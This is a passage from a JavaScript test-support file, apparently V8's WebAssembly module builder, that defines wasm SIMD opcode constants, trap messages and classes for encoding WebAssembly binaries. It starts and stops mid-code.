0x21;\nlet kExprF64x2ReplaceLane = 0x22;\nlet kExprI8x16Eq = 0x23;\nlet kExprI8x16Ne = 0x24;\nlet kExprI8x16LtS = 0x25;\nlet kExprI8x16LtU = 0x26;\nlet kExprI8x16GtS = 0x27;\nlet kExprI8x16GtU = 0x28;\nlet kExprI8x16LeS = 0x29;\nlet kExprI8x16LeU = 0x2a;\nlet kExprI8x16GeS = 0x2b;\nlet kExprI8x16GeU = 0x2c;\nlet kExprI16x8Eq = 0x2d;\nlet kExprI16x8Ne = 0x2e;\nlet kExprI16x8LtS = 0x2f;\nlet kExprI16x8LtU = 0x30;\nlet kExprI16x8GtS = 0x31;\nlet kExprI16x8GtU = 0x32;\nlet kExprI16x8LeS = 0x33;\nlet kExprI16x8LeU = 0x34;\nlet kExprI16x8GeS = 0x35;\nlet kExprI16x8GeU = 0x36;\nlet kExprI32x4Eq = 0x37;\nlet kExprI32x4Ne = 0x38;\nlet kExprI32x4LtS = 0x39;\nlet kExprI32x4LtU = 0x3a;\nlet kExprI32x4GtS = 0x3b;\nlet kExprI32x4GtU = 0x3c;\nlet kExprI32x4LeS = 0x3d;\nlet kExprI32x4LeU = 0x3e;\nlet kExprI32x4GeS = 0x3f;\nlet kExprI32x4GeU = 0x40;\nlet kExprF32x4Eq = 0x41;\nlet kExprF32x4Ne = 0x42;\nlet kExprF32x4Lt = 0x43;\nlet kExprF32x4Gt = 0x44;\nlet kExprF32x4Le = 0x45;\nlet kExprF32x4Ge = 0x46;\nlet kExprF64x2Eq = 0x47;\nlet kExprF64x2Ne = 0x48;\nlet kExprF64x2Lt = 0x49;\nlet kExprF64x2Gt = 0x4a;\nlet kExprF64x2Le = 0x4b;\nlet kExprF64x2Ge = 0x4c;\nlet kExprS128Not = 0x4d;\nlet kExprS128And = 0x4e;\nlet kExprS128AndNot = 0x4f;\nlet kExprS128Or = 0x50;\nlet kExprS128Xor = 0x51;\nlet kExprS128Select = 0x52;\nlet kExprV128AnyTrue = 0x53;\nlet kExprS128Load8Lane = 0x54;\nlet kExprS128Load16Lane = 0x55;\nlet kExprS128Load32Lane = 0x56;\nlet kExprS128Load64Lane = 0x57;\nlet kExprS128Store8Lane = 0x58;\nlet kExprS128Store16Lane = 0x59;\nlet kExprS128Store32Lane = 0x5a;\nlet kExprS128Store64Lane = 0x5b;\nlet kExprS128Load32Zero = 0x5c;\nlet kExprS128Load64Zero = 0x5d;\nlet kExprF32x4DemoteF64x2Zero = 0x5e;\nlet kExprF64x2PromoteLowF32x4 = 0x5f;\nlet kExprI8x16Abs = 0x60;\nlet kExprI8x16Neg = 0x61;\nlet kExprI8x16Popcnt = 0x62;\nlet kExprI8x16AllTrue = 0x63;\nlet kExprI8x16BitMask = 0x64;\nlet kExprI8x16SConvertI16x8 = 0x65;\nlet kExprI8x16UConvertI16x8 = 0x66;\nlet kExprF32x4Ceil = 0x67;\nlet kExprF32x4Floor = 0x68;\nlet kExprF32x4Trunc = 0x69;\nlet kExprF32x4NearestInt = 0x6a;\nlet kExprI8x16Shl = 0x6b;\nlet kExprI8x16ShrS = 0x6c;\nlet kExprI8x16ShrU = 0x6d;\nlet kExprI8x16Add = 0x6e;\nlet kExprI8x16AddSatS = 0x6f;\nlet kExprI8x16AddSatU = 0x70;\nlet kExprI8x16Sub = 0x71;\nlet kExprI8x16SubSatS = 0x72;\nlet kExprI8x16SubSatU = 0x73;\nlet kExprF64x2Ceil = 0x74;\nlet kExprF64x2Floor = 0x75;\nlet kExprI8x16MinS = 0x76;\nlet kExprI8x16MinU = 0x77;\nlet kExprI8x16MaxS = 0x78;\nlet kExprI8x16MaxU = 0x79;\nlet kExprF64x2Trunc = 0x7a;\nlet kExprI8x16RoundingAverageU = 0x7b;\nlet kExprI16x8ExtAddPairwiseI8x16S = 0x7c;\nlet kExprI16x8ExtAddPairwiseI8x16U = 0x7d;\nlet kExprI32x4ExtAddPairwiseI16x8S = 0x7e;\nlet kExprI32x4ExtAddPairwiseI16x8U = 0x7f;\nlet kExprI16x8Abs = 0x80;\nlet kExprI16x8Neg = 0x81;\nlet kExprI16x8Q15MulRSatS = 0x82;\nlet kExprI16x8AllTrue = 0x83;\nlet kExprI16x8BitMask = 0x84;\nlet kExprI16x8SConvertI32x4 = 0x85;\nlet kExprI16x8UConvertI32x4 = 0x86;\nlet kExprI16x8SConvertI8x16Low = 0x87;\nlet kExprI16x8SConvertI8x16High = 0x88;\nlet kExprI16x8UConvertI8x16Low = 0x89;\nlet kExprI16x8UConvertI8x16High = 0x8a;\nlet kExprI16x8Shl = 0x8b;\nlet kExprI16x8ShrS = 0x8c;\nlet kExprI16x8ShrU = 0x8d;\nlet kExprI16x8Add = 0x8e;\nlet kExprI16x8AddSatS = 0x8f;\nlet kExprI16x8AddSatU = 0x90;\nlet kExprI16x8Sub = 0x91;\nlet kExprI16x8SubSatS = 0x92;\nlet kExprI16x8SubSatU = 0x93;\nlet kExprF64x2NearestInt = 0x94;\nlet kExprI16x8Mul = 0x95;\nlet kExprI16x8MinS = 0x96;\nlet kExprI16x8MinU = 0x97;\nlet kExprI16x8MaxS = 0x98;\nlet kExprI16x8MaxU = 0x99;\nlet kExprI16x8RoundingAverageU = 0x9b;\nlet kExprI16x8ExtMulLowI8x16S = 0x9c;\nlet kExprI16x8ExtMulHighI8x16S = 0x9d;\nlet kExprI16x8ExtMulLowI8x16U = 0x9e;\nlet kExprI16x8ExtMulHighI8x16U = 0x9f;\nlet kExprI32x4Abs = 0xa0;\nlet kExprI32x4Neg = 0xa1;\nlet kExprI32x4AllTrue = 0xa3;\nlet kExprI32x4BitMask = 0xa4;\nlet kExprI32x4SConvertI16x8Low = 0xa7;\nlet kExprI32x4SConvertI16x8High = 0xa8;\nlet kExprI32x4UConvertI16x8Low = 0xa9;\nlet kExprI32x4UConvertI16x8High = 0xaa;\nlet kExprI32x4Shl = 0xab;\nlet kExprI32x4ShrS = 0xac;\nlet kExprI32x4ShrU = 0xad;\nlet kExprI32x4Add = 0xae;\nlet kExprI32x4Sub = 0xb1;\nlet kExprI32x4Mul = 0xb5;\nlet kExprI32x4MinS = 0xb6;\nlet kExprI32x4MinU = 0xb7;\nlet kExprI32x4MaxS = 0xb8;\nlet kExprI32x4MaxU = 0xb9;\nlet kExprI32x4DotI16x8S = 0xba;\nlet kExprI32x4ExtMulLowI16x8S = 0xbc;\nlet kExprI32x4ExtMulHighI16x8S = 0xbd;\nlet kExprI32x4ExtMulLowI16x8U = 0xbe;\nlet kExprI32x4ExtMulHighI16x8U = 0xbf;\nlet kExprI64x2Abs = 0xc0;\nlet kExprI64x2Neg = 0xc1;\nlet kExprI64x2AllTrue = 0xc3;\nlet kExprI64x2BitMask = 0xc4;\nlet kExprI64x2SConvertI32x4Low = 0xc7;\nlet kExprI64x2SConvertI32x4High = 0xc8;\nlet kExprI64x2UConvertI32x4Low = 0xc9;\nlet kExprI64x2UConvertI32x4High = 0xca;\nlet kExprI64x2Shl = 0xcb;\nlet kExprI64x2ShrS = 0xcc;\nlet kExprI64x2ShrU = 0xcd;\nlet kExprI64x2Add = 0xce;\nlet kExprI64x2Sub = 0xd1;\nlet kExprI64x2Mul = 0xd5;\nlet kExprI64x2Eq = 0xd6;\nlet kExprI64x2Ne = 0xd7;\nlet kExprI64x2LtS = 0xd8;\nlet kExprI64x2GtS = 0xd9;\nlet kExprI64x2LeS = 0xda;\nlet kExprI64x2GeS = 0xdb;\nlet kExprI64x2ExtMulLowI32x4S = 0xdc;\nlet kExprI64x2ExtMulHighI32x4S = 0xdd;\nlet kExprI64x2ExtMulLowI32x4U = 0xde;\nlet kExprI64x2ExtMulHighI32x4U = 0xdf;\nlet kExprF32x4Abs = 0xe0;\nlet kExprF32x4Neg = 0xe1;\nlet kExprF32x4Sqrt = 0xe3;\nlet kExprF32x4Add = 0xe4;\nlet kExprF32x4Sub = 0xe5;\nlet kExprF32x4Mul = 0xe6;\nlet kExprF32x4Div = 0xe7;\nlet kExprF32x4Min = 0xe8;\nlet kExprF32x4Max = 0xe9;\nlet kExprF32x4Pmin = 0xea;\nlet kExprF32x4Pmax = 0xeb;\nlet kExprF64x2Abs = 0xec;\nlet kExprF64x2Neg = 0xed;\nlet kExprF64x2Sqrt = 0xef;\nlet kExprF64x2Add = 0xf0;\nlet kExprF64x2Sub = 0xf1;\nlet kExprF64x2Mul = 0xf2;\nlet kExprF64x2Div = 0xf3;\nlet kExprF64x2Min = 0xf4;\nlet kExprF64x2Max = 0xf5;\nlet kExprF64x2Pmin = 0xf6;\nlet kExprF64x2Pmax = 0xf7;\nlet kExprI32x4SConvertF32x4 = 0xf8;\nlet kExprI32x4UConvertF32x4 = 0xf9;\nlet kExprF32x4SConvertI32x4 = 0xfa;\nlet kExprF32x4UConvertI32x4 = 0xfb;\nlet kExprI32x4TruncSatF64x2SZero = 0xfc;\nlet kExprI32x4TruncSatF64x2UZero = 0xfd;\nlet kExprF64x2ConvertLowI32x4S = 0xfe;\nlet kExprF64x2ConvertLowI32x4U = 0xff;\n\n// Relaxed SIMD.\nlet kExprI8x16RelaxedSwizzle = wasmSignedLeb(0x100);\nlet kExprI32x4RelaxedTruncF32x4S = wasmSignedLeb(0x101);\nlet kExprI32x4RelaxedTruncF32x4U = wasmSignedLeb(0x102);\nlet kExprI32x4RelaxedTruncF64x2SZero = wasmSignedLeb(0x103);\nlet kExprI32x4RelaxedTruncF64x2UZero = wasmSignedLeb(0x104);\nlet kExprF32x4Qfma = wasmSignedLeb(0x105);\nlet kExprF32x4Qfms = wasmSignedLeb(0x106);\nlet kExprF64x2Qfma = wasmSignedLeb(0x107);\nlet kExprF64x2Qfms = wasmSignedLeb(0x108);\nlet kExprI8x16RelaxedLaneSelect = wasmSignedLeb(0x109);\nlet kExprI16x8RelaxedLaneSelect = wasmSignedLeb(0x10a);\nlet kExprI32x4RelaxedLaneSelect = wasmSignedLeb(0x10b);\nlet kExprI64x2RelaxedLaneSelect = wasmSignedLeb(0x10c);\nlet kExprF32x4RelaxedMin = wasmSignedLeb(0x10d);\nlet kExprF32x4RelaxedMax = wasmSignedLeb(0x10e);\nlet kExprF64x2RelaxedMin = wasmSignedLeb(0x10f);\nlet kExprF64x2RelaxedMax = wasmSignedLeb(0x110);\nlet kExprI16x8RelaxedQ15MulRS = wasmSignedLeb(0x111);\nlet kExprI16x8DotI8x16I7x16S = wasmSignedLeb(0x112);\nlet kExprI32x4DotI8x16I7x16AddS = wasmSignedLeb(0x113);\n\n// FP16 SIMD\nlet kExprF16x8Splat = wasmSignedLeb(0x120);\nlet kExprF16x8ExtractLane = wasmSignedLeb(0x121);\nlet kExprF16x8ReplaceLane = wasmSignedLeb(0x122);\nlet kExprF16x8Abs = wasmSignedLeb(0x130);\nlet kExprF16x8Neg = wasmSignedLeb(0x131);\nlet kExprF16x8Sqrt = wasmSignedLeb(0x132);\nlet kExprF16x8Ceil = wasmSignedLeb(0x133);\nlet kExprF16x8Floor = wasmSignedLeb(0x134);\nlet kExprF16x8Trunc = wasmSignedLeb(0x135);\nlet kExprF16x8NearestInt = wasmSignedLeb(0x136);\nlet kExprF16x8Eq = wasmSignedLeb(0x137);\nlet kExprF16x8Ne = wasmSignedLeb(0x138);\nlet kExprF16x8Lt = wasmSignedLeb(0x139);\nlet kExprF16x8Gt = wasmSignedLeb(0x13a);\nlet kExprF16x8Le = wasmSignedLeb(0x13b);\nlet kExprF16x8Ge = wasmSignedLeb(0x13c);\nlet kExprF16x8Add = wasmSignedLeb(0x13d);\nlet kExprF16x8Sub = wasmSignedLeb(0x13e);\nlet kExprF16x8Mul = wasmSignedLeb(0x13f);\nlet kExprF16x8Div = wasmSignedLeb(0x140);\nlet kExprF16x8Min = wasmSignedLeb(0x141);\nlet kExprF16x8Max = wasmSignedLeb(0x142);\nlet kExprF16x8Pmin = wasmSignedLeb(0x143);\nlet kExprF16x8Pmax = wasmSignedLeb(0x144);\nlet kExprI16x8SConvertF16x8 = wasmSignedLeb(0x145);\nlet kExprI16x8UConvertF16x8 = wasmSignedLeb(0x146);\nlet kExprF16x8SConvertI16x8 = wasmSignedLeb(0x147);\nlet kExprF16x8UConvertI16x8 = wasmSignedLeb(0x148);\nlet kExprF16x8DemoteF32x4Zero = wasmSignedLeb(0x149);\nlet kExprF16x8DemoteF64x2Zero = wasmSignedLeb(0x14a);\nlet kExprF32x4PromoteLowF16x8 = wasmSignedLeb(0x14b);\nlet kExprF16x8Qfma = wasmSignedLeb(0x14e);\nlet kExprF16x8Qfms = wasmSignedLeb(0x14f);\n\n// Compilation hint constants.\nlet kCompilationHintStrategyDefault = 0x00;\nlet kCompilationHintStrategyLazy = 0x01;\nlet kCompilationHintStrategyEager = 0x02;\nlet kCompilationHintStrategyLazyBaselineEagerTopTier = 0x03;\nlet kCompilationHintTierDefault = 0x00;\nlet kCompilationHintTierBaseline = 0x01;\nlet kCompilationHintTierOptimized = 0x02;\n\nlet kTrapUnreachable = 0;\nlet kTrapMemOutOfBounds = 1;\nlet kTrapDivByZero = 2;\nlet kTrapDivUnrepresentable = 3;\nlet kTrapRemByZero = 4;\nlet kTrapFloatUnrepresentable = 5;\nlet kTrapTableOutOfBounds = 6;\nlet kTrapFuncSigMismatch = 7;\nlet kTrapUnalignedAccess = 8;\nlet kTrapDataSegmentOutOfBounds = 9;\nlet kTrapElementSegmentOutOfBounds = 10;\nlet kTrapRethrowNull = 11;\nlet kTrapArrayTooLarge = 12;\nlet kTrapArrayOutOfBounds = 13;\nlet kTrapNullDereference = 14;\nlet kTrapIllegalCast = 15;\n\nlet kAtomicWaitOk = 0;\nlet kAtomicWaitNotEqual = 1;\nlet kAtomicWaitTimedOut = 2;\n\n// Exception handling with exnref.\nlet kCatchNoRef = 0x0;\nlet kCatchRef = 0x1;\nlet kCatchAllNoRef = 0x2;\nlet kCatchAllRef = 0x3;\n\nlet kTrapMsgs = [\n  'unreachable',                                    // --\n  'memory access out of bounds',                    // --\n  'divide by zero',                                 // --\n  'divide result unrepresentable',                  // --\n  'remainder by zero',                              // --\n  'float unrepresentable in integer range',         // --\n  'table index is out of bounds',                   // --\n  'null function or function signature mismatch',   // --\n  'operation does not support unaligned accesses',  // --\n  'data segment out of bounds',                     // --\n  'element segment out of bounds',                  // --\n  'rethrowing null value',                          // --\n  'requested new array is too large',               // --\n  'array element access out of bounds',             // --\n  'dereferencing a null pointer',                   // --\n  'illegal cast',                                   // --\n];\n\n// This requires test/mjsunit/mjsunit.js.\nfunction assertTraps(trap, code) {\n  assertThrows(code, WebAssembly.RuntimeError, new RegExp(kTrapMsgs[trap]));\n}\n\nfunction assertTrapsOneOf(traps, code) {\n  const errorChecker = new RegExp(\n    '(' + traps.map(trap => kTrapMsgs[trap]).join('|') + ')'\n  );\n  assertThrows(code, WebAssembly.RuntimeError, errorChecker);\n}\n\nclass Binary {\n  constructor() {\n    this.length = 0;\n    this.buffer = new Uint8Array(8192);\n  }\n\n  ensure_space(needed) {\n    if (this.buffer.length - this.length >= needed) return;\n    let new_capacity = this.buffer.length * 2;\n    while (new_capacity - this.length < needed) new_capacity *= 2;\n    let new_buffer = new Uint8Array(new_capacity);\n    new_buffer.set(this.buffer);\n    this.buffer = new_buffer;\n  }\n\n  trunc_buffer() {\n    return new Uint8Array(this.buffer.buffer, 0, this.length);\n  }\n\n  reset() {\n    this.length = 0;\n  }\n\n  emit_u8(val) {\n    this.ensure_space(1);\n    this.buffer[this.length++] = val;\n  }\n\n  emit_u16(val) {\n    this.ensure_space(2);\n    this.buffer[this.length++] = val;\n    this.buffer[this.length++] = val >> 8;\n  }\n\n  emit_u32(val) {\n    this.ensure_space(4);\n    this.buffer[this.length++] = val;\n    this.buffer[this.length++] = val >> 8;\n    this.buffer[this.length++] = val >> 16;\n    this.buffer[this.length++] = val >> 24;\n  }\n\n  emit_leb_u(val, max_len) {\n    this.ensure_space(max_len);\n    for (let i = 0; i < max_len; ++i) {\n      let v = val & 0xff;\n      val = val >>> 7;\n      if (val == 0) {\n        this.buffer[this.length++] = v;\n        return;\n      }\n      this.buffer[this.length++] = v | 0x80;\n    }\n    throw new Error('Leb value exceeds maximum length of ' + max_len);\n  }\n\n  emit_u32v(val) {\n    this.emit_leb_u(val, kMaxVarInt32Size);\n  }\n\n  emit_u64v(val) {\n    this.emit_leb_u(val, kMaxVarInt64Size);\n  }\n\n  emit_bytes(data) {\n    this.ensure_space(data.length);\n    this.buffer.set(data, this.length);\n    this.length += data.length;\n  }\n\n  emit_string(string) {\n    // When testing illegal names, we pass a byte array directly.\n    if (string instanceof Array) {\n      this.emit_u32v(string.length);\n      this.emit_bytes(string);\n      return;\n    }\n\n    // This is the hacky way to convert a JavaScript string to a UTF8 encoded\n    // string only containing single-byte characters.\n    let string_utf8 = unescape(encodeURIComponent(string));\n    this.emit_u32v(string_utf8.length);\n    for (let i = 0; i < string_utf8.length; i++) {\n      this.emit_u8(string_utf8.charCodeAt(i));\n    }\n  }\n\n  emit_heap_type(heap_type) {\n    this.emit_bytes(wasmSignedLeb(heap_type, kMaxVarInt32Size));\n  }\n\n  emit_type(type) {\n    if ((typeof type) == 'number') {\n      this.emit_u8(type >= 0 ? type : type & kLeb128Mask);\n    } else {\n      this.emit_u8(type.opcode);\n      if (type.is_shared) this.emit_u8(kWasmSharedTypeForm);\n      this.emit_heap_type(type.heap_type);\n    }\n  }\n\n  emit_init_expr(expr) {\n    this.emit_bytes(expr);\n    this.emit_u8(kExprEnd);\n  }\n\n  emit_header() {\n    this.emit_bytes([\n      kWasmH0, kWasmH1, kWasmH2, kWasmH3, kWasmV0, kWasmV1, kWasmV2, kWasmV3\n    ]);\n  }\n\n  emit_section(section_code, content_generator) {\n    // Emit section name.\n    this.emit_u8(section_code);\n    // Emit the section to a temporary buffer: its full length isn't know yet.\n    const section = new Binary;\n    content_generator(section);\n    // Emit section length.\n    this.emit_u32v(section.length);\n    // Copy the temporary buffer.\n    // Avoid spread because {section} can be huge.\n    this.emit_bytes(section.trunc_buffer());\n  }\n}\n\nclass WasmFunctionBuilder {\n  // Encoding of local names: a string corresponds to a local name,\n  // a number n corresponds to n undefined names.\n  constructor(module, name, type_index, arg_names) {\n    this.module = module;\n    this.name = name;\n    this.type_index = type_index;\n    this.body = [];\n    this.locals = [];\n    this.local_names = arg_names;\n    this.body_offset = undefined;  // Not valid until module is serialized.\n  }\n\n  numLocalNames() {\n    let num_local_names = 0;\n    for (let loc_name of this.local_names) {\n      if (typeof loc_name == 'string') ++num_local_names;\n    }\n    return num_local_names;\n  }\n\n  exportAs(name) {\n    this.module.addExport(name, this.index);\n    return this;\n  }\n\n  exportFunc() {\n    this.exportAs(this.name);\n    return this;\n  }\n\n  setCompilationHint(strategy, baselineTier, topTier) {\n    this.module.setCompilationHint(strategy, baselineTier, topTier, this.index);\n    return this;\n  }\n\n  addBody(body) {\n    checkExpr(body);\n    // Store a copy of the body, and automatically add the end opcode.\n    this.body = body.concat([kExprEnd]);\n    return this;\n  }\n\n  addBodyWithEnd(body) {\n    this.body = body;\n    return this;\n  }\n\n  getNumLocals() {\n    let total_locals = 0;\n    for (let l of this.locals) {\n      total_locals += l.count\n    }\n    return total_locals;\n  }\n\n  addLocals(type, count, names) {\n    this.locals.push({type: type, count: count});\n    names = names || [];\n    if (names.length > count) throw new Error('too many locals names given');\n    this.local_names.push(...names);\n    if (count > names.length) this.local_names.push(count - names.length);\n    return this;\n  }\n\n  end() {\n    return this.module;\n  }\n}\n\nclass WasmGlobalBuilder {\n  constructor(module, type, mutable, shared, init) {\n    this.module = module;\n    this.type = type;\n    this.mutable = mutable;\n    this.shared = shared;\n    this.init = init;\n  }\n\n  exportAs(name) {\n    this.module.exports.push(\n        {name: name, kind: kExternalGlobal, index: this.index});\n    return this;\n  }\n}\n\nfunction checkExpr(expr) {\n  for (let b of expr) {\n    if (typeof b !== 'number' || (b & (~0xFF)) !== 0) {\n      throw new Error(\n          'invalid body (entries must be 8 bit numbers): ' + expr);\n    }\n  }\n}\n\nclass WasmTableBuilder {\n  constructor(module, type, initial_size, max_size, init_expr, is_shared, is_table64) {\n    // TODO(manoskouk): Add the table index.\n    this.module = module;\n    this.type = type;\n    this.initial_size = initial_size;\n    this.has_max = max_size !== undefined;\n    this.max_size = max_size;\n    this.init_expr = init_expr;\n    this.has_init = init_expr !== undefined;\n    this.is_shared = is_shared;\n    this.is_table64 = is_table64;\n  }\n\n  exportAs(name) {\n    this.module.exports.push(\n        {name: name, kind: kExternalTable, index: this.index});\n    return this;\n  }\n}\n\nfunction makeField(type, mutability) {\n  if ((typeof mutability) != 'boolean') {\n    throw new Error('field mutability must be boolean');\n  }\n  return {type: type, mutability: mutability};\n}\n\nclass WasmStruct {\n  constructor(fields, is_final, is_shared, supertype_idx) {\n    if (!Array.isArray(fields)) {\n      throw new Error('struct fields must be an array');\n    }\n    this.fields = fields;\n    this.type_form = kWasmStructTypeForm;\n    this.is_final = is_final;\n    this.is_shared = is_shared;\n    this.supertype = supertype_idx;\n  }\n}\n\nclass WasmArray {\n  constructor(type, mutability, is_final, is_shared, supertype_idx) {\n    this.type = type;\n    this.mutability = mutability;\n    this.type_form = kWasmArrayTypeForm;\n    this.is_final = is_final;\n    this.is_shared = is_shared;\n    this.supertype = supertype_idx;\n  }\n}\n\nclass WasmElemSegment {\n  constructor(table, offset, type, elements, is_decl, is_shared) {\n    this.table = table;\n    this.offset = offset;\n    this.type = type;\n    this.elements = elements;\n    this.is_decl = is_decl;\n    this.is_shared = is_shared;\n    // Invariant checks.\n    if ((table === undefined) != (offset === undefined)) {\n      throw new Error(\"invalid element segment\");\n    }\n    for (let elem of elements) {\n      if (((typeof elem) == 'number') != (type === undefined)) {\n        throw new Error(\"invalid element\");\n      }\n    }\n  }\n\n  is_active() {\n    return this.table !== undefined;\n  }\n\n  is_passive() {\n    return this.table === undefined && !this.is_decl;\n  }\n\n  is_declarative() {\n    return this.table === undefined && this.is_decl;\n  }\n\n  expressions_as_elements() {\n    return this.type !== undefined;\n  }\n}\n\nclass WasmModuleBuilder {\n  constructor() {\n    this.types = [];\n    this.imports = [];\n    this.exports = [];\n    this.stringrefs = [];\n    this.globals = [];\n    this.tables = [];\n    this.tags = [];\n    this.memories = [];\n    this.functions = [];\n    this.compilation_hints = [];\n    this.element_segments = [];\n    this.data_segments = [];\n    this.explicit = [];\n    this.rec_groups = [];\n    this.num_imported_funcs = 0;\n    this.num_imported_globals = 0;\n    this.num_imported_tables = 0;\n    this.num_imported_tags = 0;\n    return this;\n  }\n\n  addStart(start_index) {\n    this.start_index = start_index;\n    return this;\n  }\n\n  addMemory(min, max, shared) {\n    // Note: All imported memories are added before declared ones (see the check\n    // in {addImportedMemory}).\n    const imported_memories =\n        this.imports.filter(i => i.kind == kExternalMemory).length;\n    const mem_index = imported_memories + this.memories.length;\n    this.memories.push(\n        {min: min, max: max, shared: shared || false, is_memory64: false});\n    return mem_index;\n  }\n\n  addMemory64(min, max, shared) {\n    // Note: All imported memories are added before declared ones (see the check\n    // in {addImportedMemory}).\n    const imported_memories =\n        this.imports.filter(i => i.kind == kExternalMemory).length;\n    const mem_index = imported_memories + this.memories.length;\n    this.memories.push(\n        {min: min, max: max, shared: shared || false, is_memory64: true});\n    return mem_index;\n  }\n\n  addExplicitSection(bytes) {\n    this.explicit.push(bytes);\n    return this;\n  }\n\n  stringToBytes(name) {\n    var result = new Binary();\n    result.emit_u32v(name.length);\n    for (var i = 0; i < name.length; i++) {\n      result.emit_u8(name.charCodeAt(i));\n    }\n    return result.trunc_buffer()\n  }\n\n  createCustomSection(name, bytes) {\n    name = this.stringToBytes(name);\n    var section = new Binary();\n    section.emit_u8(0);\n    section.emit_u32v(name.length + bytes.length);\n    section.emit_bytes(name);\n    section.emit_bytes(bytes);\n    return section.trunc_buffer();\n  }\n\n  addCustomSection(name, bytes) {\n    this.explicit.push(this.createCustomSection(name, bytes));\n  }\n\n  // We use {is_final = true} so that the MVP syntax is generated for\n  // signatures.\n  addType(type, supertype_idx = kNoSuperType, is_final = true, is_shared = false) {\n    var pl = type.params.length;   // should have params\n    var rl = type.results.length;  // should have results\n    var type_copy = {params: type.params, results: type.results,\n                     is_final: is_final, is_shared: is_shared, supertype: supertype_idx};\n    this.types.push(type_copy);\n    return this.types.length - 1;\n  }\n\n  addLiteralStringRef(str) {\n    this.stringrefs.push(str);\n    return this.stringrefs.length - 1;\n  }\n\n  addStruct(fields, supertype_idx = kNoSuperType, is_final = false, is_shared = false) {\n    this.types.push(new WasmStruct(fields, is_final, is_shared, supertype_idx));\n    return this.types.length - 1;\n  }\n\n  addArray(type, mutability, supertype_idx = kNoSuperType, is_final = false, is_shared = false) {\n    this.types.push(new WasmArray(type, mutability, is_final, is_shared, supertype_idx));\n    return this.types.length - 1;\n  }\n\n  nextTypeIndex() { return this.types.length; }\n\n  static defaultFor(type) {\n    switch (type) {\n      case kWasmI32:\n        return wasmI32Const(0);\n      case kWasmI64:\n        return wasmI64Const(0);\n      case kWasmF32:\n        return wasmF32Const(0.0);\n      case kWasmF64:\n        return wasmF64Const(0.0);\n      case kWasmS128:\n        return [kSimdPrefix, kExprS128Const, ...(new Array(16).fill(0))];\n      case kWasmStringViewIter:\n      case kWasmStringViewWtf8:\n      case kWasmStringViewWtf16:\n        throw new Error(\"String views are non-defaultable\");\n      default:\n        if ((typeof type) != 'number' && type.opcode != kWasmRefNull) {\n          throw new Error(\"Non-defaultable type\");\n        }\n        let heap_type = (typeof type) == 'number' ? type : type.heap_type;\n        return [kExprRefNull, ...wasmSignedLeb(heap_type, kMaxVarInt32Size)];\n    }\n  }\n\n  addGlobal(type, mutable, shared, init) {\n    if (init === undefined) init = WasmModuleBuilder.defaultFor(type);\n    checkExpr(init);\n    let glob = new WasmGlobalBuilder(this, type, mutable, shared, init);\n    glob.index = this.globals.length + this.num_imported_globals;\n    this.globals.push(glob);\n    return glob;\n  }\n\n  addTable(\n      type, initial_size, max_size = undefined, init_expr = undefined,\n      is_shared = false, is_table64 = false) {\n    if (type == kWasmI32 || type == kWasmI64 || type == kWasmF32 ||\n        type == kWasmF64 || type == kWasmS128 || type == kWasmVoid) {\n      throw new Error('Tables must be of a reference type');\n    }\n    if (init_expr != undefined) checkExpr(init_expr);\n    let table = new WasmTableBuilder(\n        this, type, initial_size, max_size, init_expr, is_shared, is_table64);\n    table.index = this.tables.length + this.num_imported_tables;\n    this.tables.push(table);\n    return table;\n  }\n\n  addTable64(\n      type, initial_size, max_size = undefined, init_expr = undefined,\n      is_shared = false) {\n    return this.addTable(\n        type, initial_size, max_size, init_expr, is_shared, true);\n  }\n\n  addTag(type) {\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let tag_index = this.tags.length + this.num_imported_tags;\n    this.tags.push(type_index);\n    return tag_index;\n  }\n\n  addFunction(name, type, arg_names) {\n    arg_names = arg_names || [];\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let num_args = this.types[type_index].params.length;\n    if (num_args < arg_names.length)\n      throw new Error('too many arg names provided');\n    if (num_args > arg_names.length)\n      arg_names.push(num_args - arg_names.length);\n    let func = new WasmFunctionBuilder(this, name, type_index, arg_names);\n    func.index = this.functions.length + this.num_imported_funcs;\n    this.functions.push(func);\n    return func;\n  }\n\n  addImport(module, name, type) {\n    if (this.functions.length != 0) {\n      throw new Error('Imported functions must be declared before local ones');\n    }\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    this.imports.push({\n      module: module,\n      name: name,\n      kind: kExternalFunction,\n      type_index: type_index\n    });\n    return this.num_imported_funcs++;\n  }\n\n  addImportedGlobal(module, name, type, mutable = false, shared = false) {\n    if (this.globals.length != 0) {\n      throw new Error('Imported globals must be declared before local ones');\n    }\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalGlobal,\n      type: type,\n      mutable: mutable,\n      shared: shared\n    };\n    this.imports.push(o);\n    return this.num_imported_globals++;\n  }\n\n  addImportedMemory(module, name, initial = 0, maximum, shared, is_memory64) {\n    if (this.memories.length !== 0) {\n      throw new Error(\n          'Add imported memories before declared memories to avoid messing ' +\n          'up the indexes');\n    }\n    let mem_index = this.imports.filter(i => i.kind == kExternalMemory).length;\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalMemory,\n      initial: initial,\n      maximum: maximum,\n      shared: !!shared,\n      is_memory64: !!is_memory64\n    };\n    this.imports.push(o);\n    return mem_index;\n  }\n\n  addImportedTable(\n      module, name, initial, maximum, type = kWasmFuncRef, is_table64 = false) {\n    if (this.tables.length != 0) {\n      throw new Error('Imported tables must be declared before local ones');\n    }\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalTable,\n      initial: initial,\n      maximum: maximum,\n      type: type,\n      is_table64: !!is_table64\n    };\n    this.imports.push(o);\n    return this.num_imported_tables++;\n  }\n\n  addImportedTag(module, name, type) {\n    if (this.tags.length != 0) {\n      throw new Error('Imported tags must be declared before local ones');\n    }\n    let type_index = (typeof type) == 'number' ? type : this.addType(type);\n    let o = {\n      module: module,\n      name: name,\n      kind: kExternalTag,\n      type_index: type_index\n    };\n    this.imports.push(o);\n    return this.num_imported_tags++;\n  }\n\n  addExport(name, index) {\n    this.exports.push({name: name, kind: kExternalFunction, index: index});\n    return this;\n  }\n\n  addExportOfKind(name, kind, index) {\n    if (index === undefined && kind != kExternalTable &&\n        kind != kExternalMemory) {\n      throw new Error(\n          'Index for exports other than tables/memories must be provided');\n    }\n    if (index !== undefined && (typeof index) != 'number') {\n      throw new Error('Index for exports must be a number')\n    }\n    this.exports.push({name: name, kind: kind, index: index});\n    return this;\n  }\n\n  setCompilationHint(strategy, baselineTier, topTier, index) {\n    this.compilation_hints[index] = {\n      strategy: strategy,\n      baselineTier: baselineTier,\n      topTier: 